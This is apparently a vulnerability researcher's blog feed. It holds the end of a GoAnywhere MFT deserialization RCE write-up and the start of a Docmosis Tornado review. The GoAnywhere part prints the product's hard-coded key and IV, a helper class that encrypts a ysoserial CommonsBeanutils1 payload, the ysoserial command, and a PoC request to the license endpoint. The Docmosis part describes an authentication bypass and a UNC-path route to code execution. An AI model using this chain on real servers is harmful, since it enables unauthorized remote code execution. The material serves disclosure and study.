    <span class="n">keyConfig</span><span class="o">.</span><span class="na">setVerifyingAlias</span><span class="o">(</span><span class="s">"serverkey"</span> <span class="o">+</span> <span class="n">str</span><span class="o">);</span>
    <span class="n">keyConfig</span><span class="o">.</span><span class="na">setPassword</span><span class="o">(</span><span class="s">"G@mft2018"</span><span class="o">.</span><span class="na">toCharArray</span><span class="o">());</span> <span class="c1">// [5]</span>
    <span class="n">keyConfig</span><span class="o">.</span><span class="na">setVersion</span><span class="o">(</span><span class="n">paramString</span><span class="o">);</span>
    <span class="n">keyConfig</span><span class="o">.</span><span class="na">setKeyStoreType</span><span class="o">(</span><span class="s">"BCFKS"</span><span class="o">);</span>
    <span class="k">return</span> <span class="n">keyConfig</span><span class="o">;</span>
	  <span class="c1">// ...</span>
</code></pre></div></div>

<p>Nothing too interesting here: <code class="language-plaintext highlighter-rouge">[4]</code> makes again some version differentiation stuff and at <code class="language-plaintext highlighter-rouge">[5]</code> hard-coded passwords are defined for a key-store. Does GoAnywhere like hard-coded keys? Let’s keep this in mind.</p>

<p>Now we enter something familiar (see my note in the introductory chapter): <code class="language-plaintext highlighter-rouge">com.linoma.license.gen2.BundleWorker.unbundle(String, KeyConfig)</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">protected</span> <span class="kd">static</span> <span class="nc">String</span> <span class="nf">unbundle</span><span class="o">(</span><span class="nc">String</span> <span class="n">paramString</span><span class="o">,</span> <span class="nc">KeyConfig</span> <span class="n">paramKeyConfig</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">BundleException</span> <span class="o">{</span>
  <span class="k">try</span> <span class="o">{</span>
    <span class="k">if</span> <span class="o">(!</span><span class="s">"1"</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">paramKeyConfig</span><span class="o">.</span><span class="na">getVersion</span><span class="o">()))</span> <span class="o">{</span>
      <span class="n">paramString</span> <span class="o">=</span> <span class="n">paramString</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="mi">0</span><span class="o">,</span> <span class="n">paramString</span><span class="o">.</span><span class="na">indexOf</span><span class="o">(</span><span class="s">"$"</span><span class="o">));</span>
    <span class="o">}</span>
    
    <span class="kt">byte</span><span class="o">[]</span> <span class="n">arrayOfByte</span> <span class="o">=</span> <span class="n">decode</span><span class="o">(</span><span class="n">paramString</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(</span><span class="nc">StandardCharsets</span><span class="o">.</span><span class="na">UTF_8</span><span class="o">));</span> <span class="c1">// [6]</span>

    
    <span class="n">arrayOfByte</span> <span class="o">=</span> <span class="n">decrypt</span><span class="o">(</span><span class="n">arrayOfByte</span><span class="o">,</span> <span class="n">paramKeyConfig</span><span class="o">.</span><span class="na">getVersion</span><span class="o">());</span> <span class="c1">// [7]</span>

    
    <span class="n">arrayOfByte</span> <span class="o">=</span> <span class="n">verify</span><span class="o">(</span><span class="n">arrayOfByte</span><span class="o">,</span> <span class="n">paramKeyConfig</span><span class="o">);</span> <span class="c1">// [8]</span>

    
    <span class="k">return</span> <span class="k">new</span> <span class="nf">String</span><span class="o">(</span><span class="n">decompress</span><span class="o">(</span><span class="n">arrayOfByte</span><span class="o">),</span> <span class="nc">StandardCharsets</span><span class="o">.</span><span class="na">UTF_8</span><span class="o">);</span>
	  <span class="c1">// ...</span>
</code></pre></div></div>

<p>The method at <code class="language-plaintext highlighter-rouge">[6]</code> performs a Base64 decoding step. At <code class="language-plaintext highlighter-rouge">[7]</code> the byte array should be decrypted. How does <code class="language-plaintext highlighter-rouge">decrypt</code> look like?</p>

<p>We land in <code class="language-plaintext highlighter-rouge">com.linoma.license.gen2.LicenseEncryptor.decrypt(byte[], String)</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">decrypt</span><span class="o">(</span><span class="kt">byte</span><span class="o">[]</span> <span class="n">paramArrayOfByte</span><span class="o">,</span> <span class="nc">String</span> <span class="n">paramString</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">CryptoException</span> <span class="o">{</span>
  <span class="k">if</span> <span class="o">(!</span><span class="k">this</span><span class="o">.</span><span class="na">initialized</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"The License Encryptor has not been initialized"</span><span class="o">);</span>
  <span class="o">}</span>
  <span class="k">if</span> <span class="o">(</span><span class="s">"1"</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">paramString</span><span class="o">))</span> <span class="o">{</span>
    <span class="k">if</span> <span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">encryptor</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
      <span class="k">throw</span> <span class="k">new</span> <span class="nf">CryptoException</span><span class="o">(</span><span class="s">"License Encryptor version 1 not available in FIPS mode."</span><span class="o">);</span>
    <span class="o">}</span>
    <span class="k">return</span> <span class="k">this</span><span class="o">.</span><span class="na">encryptor</span><span class="o">.</span><span class="na">decryptToBytes</span><span class="o">(</span><span class="n">paramArrayOfByte</span><span class="o">);</span> <span class="c1">// [9]</span>
  <span class="o">}</span> 
  <span class="k">return</span> <span class="k">this</span><span class="o">.</span><span class="na">encryptorV2</span><span class="o">.</span><span class="na">decryptToBytes</span><span class="o">(</span><span class="n">paramArrayOfByte</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Remember the version differentiator? Since we control this, the decryption routine at <code class="language-plaintext highlighter-rouge">[9]</code> will be called (in case your not FIPS addicted).
Finally, in <code class="language-plaintext highlighter-rouge">com.linoma.security.core.crypto.StandardEncryptionEngine.decrypt(byte[])</code>, a <code class="language-plaintext highlighter-rouge">decryptionCipher.doFinal(paramArrayOfByte)</code> call decrypts the byte array. But as you might know, also in Java Crypto API one has to initialize the Crypto engine properly, same for the<code class="language-plaintext highlighter-rouge">com.linoma.security.core.crypto.StandardEncryptionEngine.decryptionCipher</code> class member. Using Eclipse’s “Call hierarchy” shortcut gives us the following tree, hitting the method <code class="language-plaintext highlighter-rouge">com.linoma.license.gen2.LicenseEncryptor.initialize(boolean)</code>.</p>

<p><img src="/assets/images/mft/decryptHierarchy.png" alt="decryptHierarchy" /></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">void</span> <span class="nf">initialize</span><span class="o">(</span><span class="kt">boolean</span> <span class="n">paramBoolean</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
  <span class="k">if</span> <span class="o">(!</span><span class="n">paramBoolean</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">this</span><span class="o">.</span><span class="na">encryptor</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Encryptor</span><span class="o">(</span><span class="k">new</span> <span class="nc">StandardEncryptionEngine</span><span class="o">(</span><span class="n">getInitializationValue</span><span class="o">(),</span> <span class="no">IV</span><span class="o">,</span> <span class="s">"AES"</span><span class="o">,</span> <span class="s">"AES/CBC/PKCS5Padding"</span><span class="o">));</span> <span class="c1">// [10]</span>
  <span class="o">}</span>
  <span class="k">this</span><span class="o">.</span><span class="na">encryptorV2</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Encryptor</span><span class="o">(</span><span class="k">new</span> <span class="nc">StandardEncryptionEngine</span><span class="o">(</span><span class="n">getInitializationValueV2</span><span class="o">(),</span> <span class="no">IV</span><span class="o">,</span> <span class="s">"AES"</span><span class="o">,</span> <span class="s">"AES/CBC/PKCS5Padding"</span><span class="o">));</span>
  <span class="k">this</span><span class="o">.</span><span class="na">initialized</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>At <code class="language-plaintext highlighter-rouge">[10]</code>, the Cipher parameters are set. What about this initialization vector? 
<code class="language-plaintext highlighter-rouge">private static final byte[] IV = { 
65, 69, 83, 47, 67, 66, 67, 47, 80, 75, 67, 83, 53, 80, 97, 100 };</code>
looks pretty “static”, alright. What about the secret key? Let’s look into <code class="language-plaintext highlighter-rouge">com.linoma.license.gen2.LicenseEncryptor.getInitializationValue()</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">getInitializationValue</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
  <span class="kt">byte</span><span class="o">[]</span> <span class="n">arrayOfByte1</span> <span class="o">=</span> <span class="o">{</span> <span class="mi">103</span><span class="o">,</span> <span class="mi">111</span><span class="o">,</span> <span class="mi">64</span><span class="o">,</span> <span class="mi">110</span><span class="o">,</span> <span class="mi">121</span><span class="o">,</span> <span class="mi">119</span><span class="o">,</span> <span class="mi">104</span><span class="o">,</span> <span class="mi">101</span><span class="o">,</span> <span class="mi">114</span><span class="o">,</span> <span class="mi">101</span><span class="o">,</span> <span class="mi">76</span><span class="o">,</span> <span class="mi">105</span><span class="o">,</span> <span class="mi">99</span><span class="o">,</span> <span class="mi">101</span><span class="o">,</span> <span class="mi">110</span><span class="o">,</span> <span class="mi">115</span><span class="o">,</span> <span class="mi">101</span><span class="o">,</span> <span class="mi">80</span><span class="o">,</span> <span class="mi">64</span><span class="o">,</span> <span class="mi">36</span><span class="o">,</span> <span class="mi">36</span><span class="o">,</span> <span class="mi">119</span><span class="o">,</span> <span class="mi">114</span><span class="o">,</span> <span class="mi">100</span> <span class="o">};</span>

  
  <span class="kt">byte</span><span class="o">[]</span> <span class="n">arrayOfByte2</span> <span class="o">=</span> <span class="o">{</span> <span class="o">-</span><span class="mi">19</span><span class="o">,</span> <span class="mi">45</span><span class="o">,</span> <span class="o">-</span><span class="mi">32</span><span class="o">,</span> <span class="o">-</span><span class="mi">73</span><span class="o">,</span> <span class="mi">65</span><span class="o">,</span> <span class="mi">123</span><span class="o">,</span> <span class="o">-</span><span class="mi">7</span><span class="o">,</span> <span class="mi">85</span> <span class="o">};</span>
  <span class="kt">char</span> <span class="n">c1</span> <span class="o">=</span> <span class="sc">'┿'</span><span class="o">;</span>
  <span class="kt">char</span> <span class="n">c2</span> <span class="o">=</span> <span class="sc">'Ā'</span><span class="o">;</span>
  
  <span class="nc">SecretKeyFactory</span> <span class="n">secretKeyFactory</span> <span class="o">=</span> <span class="nc">SecretKeyFactory</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"PBKDF2WithHmacSHA1"</span><span class="o">);</span>
  <span class="nc">PBEKeySpec</span> <span class="n">pBEKeySpec</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PBEKeySpec</span><span class="o">((</span><span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="n">arrayOfByte1</span><span class="o">,</span> <span class="s">"UTF-8"</span><span class="o">)).</span><span class="na">toCharArray</span><span class="o">(),</span> <span class="n">arrayOfByte2</span><span class="o">,</span> <span class="n">c1</span><span class="o">,</span> <span class="n">c2</span><span class="o">);</span>
  <span class="nc">SecretKey</span> <span class="n">secretKey</span> <span class="o">=</span> <span class="n">secretKeyFactory</span><span class="o">.</span><span class="na">generateSecret</span><span class="o">(</span><span class="n">pBEKeySpec</span><span class="o">);</span>
  <span class="k">return</span> <span class="n">secretKey</span><span class="o">.</span><span class="na">getEncoded</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The code speaks for itself. Hard-code all the things!</p>

<p>Ok, back to <code class="language-plaintext highlighter-rouge">com.linoma.license.gen2.BundleWorker.unbundle(String, KeyConfig)</code>. Now, we’re probably able to provide a request parameter which could be properly decrypted as well. Next, step would be the call to <code class="language-plaintext highlighter-rouge">com.linoma.license.gen2.BundleWorker.verify(byte[], KeyConfig)</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">verify</span><span class="o">(</span><span class="kt">byte</span><span class="o">[]</span> <span class="n">paramArrayOfByte</span><span class="o">,</span> <span class="nc">KeyConfig</span> <span class="n">paramKeyConfig</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ClassNotFoundException</span><span class="o">,</span> <span class="nc">NoSuchAlgorithmException</span><span class="o">,</span> <span class="nc">InvalidKeyException</span><span class="o">,</span> <span class="nc">SignatureException</span><span class="o">,</span> <span class="nc">UnrecoverableKeyException</span><span class="o">,</span> <span class="nc">CertificateException</span><span class="o">,</span> <span class="nc">KeyStoreException</span> <span class="o">{</span>
  <span class="n">objectInputStream</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
  <span class="k">try</span> <span class="o">{</span>
    <span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="s">"SHA1withDSA"</span><span class="o">;</span>
    <span class="k">if</span> <span class="o">(</span><span class="s">"2"</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">paramKeyConfig</span><span class="o">.</span><span class="na">getVersion</span><span class="o">()))</span> <span class="o">{</span>
      <span class="n">str</span> <span class="o">=</span> <span class="s">"SHA512withRSA"</span><span class="o">;</span>
    <span class="o">}</span>
    <span class="nc">PublicKey</span> <span class="n">publicKey</span> <span class="o">=</span> <span class="n">getPublicKey</span><span class="o">(</span><span class="n">paramKeyConfig</span><span class="o">);</span>
    <span class="n">objectInputStream</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ObjectInputStream</span><span class="o">(</span><span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">paramArrayOfByte</span><span class="o">));</span>
    <span class="nc">SignedObject</span> <span class="n">signedObject</span> <span class="o">=</span> <span class="o">(</span><span class="nc">SignedObject</span><span class="o">)</span><span class="n">objectInputStream</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> <span class="c1">// [11]</span>
    <span class="nc">Signature</span> <span class="n">signature</span> <span class="o">=</span> <span class="nc">Signature</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
    <span class="kt">boolean</span> <span class="n">bool</span> <span class="o">=</span> <span class="n">signedObject</span><span class="o">.</span><span class="na">verify</span><span class="o">(</span><span class="n">publicKey</span><span class="o">,</span> <span class="n">signature</span><span class="o">);</span>
	  <span class="c1">// ...</span>
</code></pre></div></div>

<p>Long story short: <code class="language-plaintext highlighter-rouge">[11]</code> calls <code class="language-plaintext highlighter-rouge">ObjectInputStream.readObject</code>, the best known sink to insecure deserialization. The one sink mentioned in my notes in 2021.</p>

<p>But deserialization doesn’t automatically mean RCE or similar kind of critical vulnerabilities. Some products have heavy hierarchies of well-defined Spartan-like class loaders, basically not giving you any attack vectors. Several SAP products are a really good example for this “issue”.</p>

<p>Looking to the <code class="language-plaintext highlighter-rouge">lib</code> folder containing all the JARs files used by GoAnywhere</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>activation-1.1.1.jar
agent-commons-3.0.0.jar
apache-mime4j-core-0.7.2.jar
aws-java-sdk-cloudfront-1.12.272.jar
aws-java-sdk-core-1.12.272.jar
aws-java-sdk-kms-1.12.272.jar
aws-java-sdk-s3-1.12.272.jar
aws-java-sdk-sts-1.12.272.jar
azure-keyvault-core-0.8.0.jar
azure-storage-5.5.0.jar
batik-all-1.15.jar
bc-fips-1.0.2.3.jar
bcmail-fips-1.0.4.jar
bcpg-fips-1.0.7.1.jar
bcpkix-fips-1.0.7.jar
bctls-fips-1.0.14.jar
bsh-2.0b6.jar
checker-qual-3.12.0.jar
commons-beanutils-1.9.4.jar
commons-codec-1.15.jar
commons-collections-3.2.2.jar
commons-collections4-4.4.jar
commons-compress-1.21.jar
commons-configuration-1.10.jar
commons-dbcp-1.3.jar
commons-digester-2.1.jar
commons-exec-1.3.jar
commons-fileupload-1.4.jar
...
</code></pre></div></div>

<p>makes the security researcher’s heart beat faster. A table of gifts. I’m a fan of the <a href="https://github.com/frohoff/ysoserial">ysoserial</a> gadget <code class="language-plaintext highlighter-rouge">CommonsBeanutils1</code>. But we need some custom code to build our final payload first. Remember? The encryption/decryption part.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">CryptorHelper</span> <span class="o">{</span>

	<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span><span class="o">,</span> <span class="nc">Exception</span> <span class="o">{</span>
		<span class="kd">final</span> <span class="kt">byte</span><span class="o">[]</span> <span class="no">IV</span> <span class="o">=</span> <span class="o">{</span> <span class="mi">65</span><span class="o">,</span> <span class="mi">69</span><span class="o">,</span> <span class="mi">83</span><span class="o">,</span> <span class="mi">47</span><span class="o">,</span> <span class="mi">67</span><span class="o">,</span> <span class="mi">66</span><span class="o">,</span> <span class="mi">67</span><span class="o">,</span> <span class="mi">47</span><span class="o">,</span> <span class="mi">80</span><span class="o">,</span> <span class="mi">75</span><span class="o">,</span> <span class="mi">67</span><span class="o">,</span> <span class="mi">83</span><span class="o">,</span> <span class="mi">53</span><span class="o">,</span> <span class="mi">80</span><span class="o">,</span> <span class="mi">97</span><span class="o">,</span> <span class="mi">100</span> <span class="o">};</span>

		<span class="nc">StandardEncryptionEngine</span> <span class="n">see</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StandardEncryptionEngine</span><span class="o">(</span><span class="n">getInitializationValue</span><span class="o">(),</span> <span class="no">IV</span><span class="o">,</span> <span class="s">"AES"</span><span class="o">,</span>
				<span class="s">"AES/CBC/PKCS5Padding"</span><span class="o">);</span>

		<span class="nc">Path</span> <span class="n">path</span> <span class="o">=</span> <span class="nc">Paths</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="s">"/home/user/tmp/mspaint.bin"</span><span class="o">);</span>
		<span class="kt">byte</span><span class="o">[]</span> <span class="n">data</span> <span class="o">=</span> <span class="nc">Files</span><span class="o">.</span><span class="na">readAllBytes</span><span class="o">(</span><span class="n">path</span><span class="o">);</span>

		<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"[+] Encrypted: "</span> <span class="o">+</span> <span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="nc">Base64</span><span class="o">.</span><span class="na">encodeBase64</span><span class="o">(</span><span class="n">see</span><span class="o">.</span><span class="na">encrypt</span><span class="o">(</span><span class="n">data</span><span class="o">)),</span> <span class="s">"UTF-8"</span><span class="o">));</span>

	<span class="o">}</span>

	<span class="kd">private</span> <span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">getInitializationValue</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
		<span class="kt">byte</span><span class="o">[]</span> <span class="n">arrayOfByte1</span> <span class="o">=</span> <span class="o">{</span> <span class="mi">103</span><span class="o">,</span> <span class="mi">111</span><span class="o">,</span> <span class="mi">64</span><span class="o">,</span> <span class="mi">110</span><span class="o">,</span> <span class="mi">121</span><span class="o">,</span> <span class="mi">119</span><span class="o">,</span> <span class="mi">104</span><span class="o">,</span> <span class="mi">101</span><span class="o">,</span> <span class="mi">114</span><span class="o">,</span> <span class="mi">101</span><span class="o">,</span> <span class="mi">76</span><span class="o">,</span> <span class="mi">105</span><span class="o">,</span> <span class="mi">99</span><span class="o">,</span> <span class="mi">101</span><span class="o">,</span> <span class="mi">110</span><span class="o">,</span> <span class="mi">115</span><span class="o">,</span> <span class="mi">101</span><span class="o">,</span> <span class="mi">80</span><span class="o">,</span>
				<span class="mi">64</span><span class="o">,</span> <span class="mi">36</span><span class="o">,</span> <span class="mi">36</span><span class="o">,</span> <span class="mi">119</span><span class="o">,</span> <span class="mi">114</span><span class="o">,</span> <span class="mi">100</span> <span class="o">};</span>

		<span class="kt">byte</span><span class="o">[]</span> <span class="n">arrayOfByte2</span> <span class="o">=</span> <span class="o">{</span> <span class="o">-</span><span class="mi">19</span><span class="o">,</span> <span class="mi">45</span><span class="o">,</span> <span class="o">-</span><span class="mi">32</span><span class="o">,</span> <span class="o">-</span><span class="mi">73</span><span class="o">,</span> <span class="mi">65</span><span class="o">,</span> <span class="mi">123</span><span class="o">,</span> <span class="o">-</span><span class="mi">7</span><span class="o">,</span> <span class="mi">85</span> <span class="o">};</span>
		<span class="kt">char</span> <span class="n">c1</span> <span class="o">=</span> <span class="sc">'┿'</span><span class="o">;</span>
		<span class="kt">char</span> <span class="n">c2</span> <span class="o">=</span> <span class="sc">'Ā'</span><span class="o">;</span>

		<span class="nc">SecretKeyFactory</span> <span class="n">secretKeyFactory</span> <span class="o">=</span> <span class="nc">SecretKeyFactory</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"PBKDF2WithHmacSHA1"</span><span class="o">);</span>
		<span class="nc">PBEKeySpec</span> <span class="n">pBEKeySpec</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PBEKeySpec</span><span class="o">((</span><span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="n">arrayOfByte1</span><span class="o">,</span> <span class="s">"UTF-8"</span><span class="o">)).</span><span class="na">toCharArray</span><span class="o">(),</span> <span class="n">arrayOfByte2</span><span class="o">,</span> <span class="n">c1</span><span class="o">,</span> <span class="n">c2</span><span class="o">);</span>
		<span class="nc">SecretKey</span> <span class="n">secretKey</span> <span class="o">=</span> <span class="n">secretKeyFactory</span><span class="o">.</span><span class="na">generateSecret</span><span class="o">(</span><span class="n">pBEKeySpec</span><span class="o">);</span>
		<span class="k">return</span> <span class="n">secretKey</span><span class="o">.</span><span class="na">getEncoded</span><span class="o">();</span>
	<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>We simply have to reuse the information gathered before, namely hard-coded keys and usage of Crypto API parameters. The serialized Java object created before with ysoserial goes into the file <code class="language-plaintext highlighter-rouge">/home/user/tmp/mspaint.bin</code> and the final encrypted Base64-encoded payload is printed to standard out.</p>

<p>First things first: <code class="language-plaintext highlighter-rouge">java -cp /home/user/MFT/lib/commons-beanutils-1.9.4.jar:./ysoserial-master-SNAPSHOT.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /K mspaint" &gt; mspaint.bin</code>.</p>

<p>Why didn’t I call <code class="language-plaintext highlighter-rouge">java -jar ysoserial.jar</code> instead? Because I wanted to make sure that the proper <code class="language-plaintext highlighter-rouge">commons-beanutils-X.Y.Z.jar</code> is used, the one provided in GoAnywhere’s <code class="language-plaintext highlighter-rouge">lib</code> directory. Class path order takes care of choosing the proper JAR even though another BeanUtils JAR is included in the ysoserial JAR itself. We don’t want to have any issues with mismatches of <em>serialVersionUID</em>s, do we?</p>

<p>Now, let’s run the <code class="language-plaintext highlighter-rouge">CryptoHelper</code>: <code class="language-plaintext highlighter-rouge">[+] Encrypted: Jh88/jqGQWSbZmiCc1DErQhwOhCTLkYmA1yXgf86Ha5HF9IfVuQMLOfBS/fjlP7wTTEg2+Jx9nBDyFUKVTroXpFBt7zN1XDX58VKZCxCXlUD45d4laUUnNuzdyvNLT2b/.....</code>. Looks good!</p>

<h2 id="poc">PoC</h2>

<p>The final request is built like this</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /goanywhere/lic/accept HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3821

bundle=Jh88/jqGQWSbZmiCc1DErQhwOhCTLkYmA1yXgf86Ha5HF9IfVuQMLOfBS/fjlP7wTTEg2%2bJx9nBDyFUKVTroXpFBt7zN1XDX58VKZCxCXlUD45d4laUUnNuzdyvNLT2b/gYKBi2%2bny7fc2lOHNgalYV13mQzCTs0EgEUE9AuDUIMcFYx00pv4g4EOgEjeWbAx40rTt....
</code></pre></div></div>

<p>and sent to our lab machine: <strong>RCE</strong>.</p>

<p><img src="/assets/images/mft/mftrce.png" alt="mftrce" /></p>]]></content><author><name></name></author><category term="vulns4free" /><summary type="html"><![CDATA[Déjà-vu]]></summary></entry><entry><title type="html">Using 0days to Protect the United Nations</title><link href="/vulns4free/2023/01/24/0days-united-nations.html" rel="alternate" type="text/html" title="Using 0days to Protect the United Nations" /><published>2023-01-24T23:00:00+00:00</published><updated>2023-01-24T23:00:00+00:00</updated><id>/vulns4free/2023/01/24/0days-united-nations</id><content type="html" xml:base="/vulns4free/2023/01/24/0days-united-nations.html"><![CDATA[<p>Recently, I did a non-exhaustive security product review on a Document Generator Engine, named <strong>Docmosis</strong>. A system I targeted used <strong><a href="https://www.docmosis.com/products/tornado/">Docmosis Tornado</a></strong> in its latest version <strong>2.9.4</strong>. I’ll give you a walkthrough based on my local lab installation with a Proof-of-Concept exploitation on an on-premises system belonging to a specialized agency of the United Nations.</p>

<p><img src="/assets/images/docmosis/docmosisreport14.png" alt="tornado" /></p>

<p>By default, no login is needed to access the web UI :-0. But as we’ll see, even if the password protection is enabled/configured, there is an <strong>Authentication Bypass</strong> which makes all these findings exploitable from an <strong>unauthenticated context</strong> as well. But let’s go through all the findings step by step.</p>

<h2 id="remote-code-execution">Remote Code Execution</h2>

<p>This first vulnerability relies on the fact that the web UI field <strong>“Open/Libre Office location”</strong> can be changed, pointing to the <em>LibreOffice</em> installation directory. All configuration changes are persisted after the corresponding <em>GWT-based</em> HTTP POST request is sent to <code class="language-plaintext highlighter-rouge">/webserverdownload/configure</code>. The corresponding URL mapping can be found in the web descriptor <code class="language-plaintext highlighter-rouge">web.xml</code>.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;servlet-mapping&gt;</span>
  <span class="nt">&lt;servlet-name&gt;</span>ConfigurationServlet<span class="nt">&lt;/servlet-name&gt;</span>
  <span class="nt">&lt;url-pattern&gt;</span>/webserverdownload/configure<span class="nt">&lt;/url-pattern&gt;</span>
<span class="nt">&lt;/servlet-mapping&gt;</span>
...
<span class="nt">&lt;servlet&gt;</span>
  <span class="nt">&lt;servlet-name&gt;</span>ConfigurationServlet<span class="nt">&lt;/servlet-name&gt;</span>
  <span class="nt">&lt;servlet-class&gt;</span>com.docmosis.webserver.server.ConfigurationServiceImpl<span class="nt">&lt;/servlet-class&gt;</span>
<span class="nt">&lt;/servlet&gt;</span>
</code></pre></div></div>

<p>The responsible Java interface extends <code class="language-plaintext highlighter-rouge">com.google.gwt.user.server.rpc.RemoteServiceServlet</code>, finally leading to the implementing class <code class="language-plaintext highlighter-rouge">com.docmosis.webserver.server.ConfigurationServiceImpl</code>. The method <code class="language-plaintext highlighter-rouge">com.docmosis.webserver.server.ConfigurationServiceImpl.saveConfiguration(ConfigBean)</code> is called then with the parameters given in the request. There exists a validation method <code class="language-plaintext highlighter-rouge">com.docmosis.webserver.server.ConfigurationServiceImpl.serverSideValidate(ConfigBean)</code> which checks access to the Office location directory.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">String</span><span class="o">[]</span> <span class="n">expectedFolders</span> <span class="o">=</span> <span class="nc">DMProperties</span><span class="o">.</span><span class="na">getStringArray</span><span class="o">(</span><span class="s">"docmosis.openoffice.location.binary.searchpath"</span><span class="o">,</span> <span class="s">";"</span><span class="o">);</span>
<span class="kt">boolean</span> <span class="n">subFolderFound</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
<span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">expected</span> <span class="o">:</span> <span class="n">expectedFolders</span><span class="o">)</span> <span class="o">{</span>
  <span class="nc">File</span> <span class="n">subFolder</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="n">officePathFile</span><span class="o">,</span> <span class="n">expected</span><span class="o">);</span>
  <span class="k">if</span> <span class="o">(</span><span class="n">subFolder</span><span class="o">.</span><span class="na">canRead</span><span class="o">()</span> <span class="o">&amp;&amp;</span> <span class="n">subFolder</span><span class="o">.</span><span class="na">isDirectory</span><span class="o">())</span> <span class="o">{</span>
    <span class="n">subFolderFound</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
    
    <span class="k">break</span><span class="o">;</span>
  <span class="o">}</span> 
<span class="o">}</span> 
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">expectedFolders</code> member seems to be used to check for expected folders matching a valid Office installation. The same is done for the Template directories etc. No further validations with respect to security are done. On a standard Windows installation, an <strong>UNC network share path</strong> could be used to point the Office directory to a remote host.
The Office executable <code class="language-plaintext highlighter-rouge">soffice.exe</code> is used for converter functions etc. and therefore is observable in the process tree of Docmosis Tornado after being started.</p>

<p><img src="/assets/images/docmosis/docmosisreport2.png" alt="processtree" /></p>

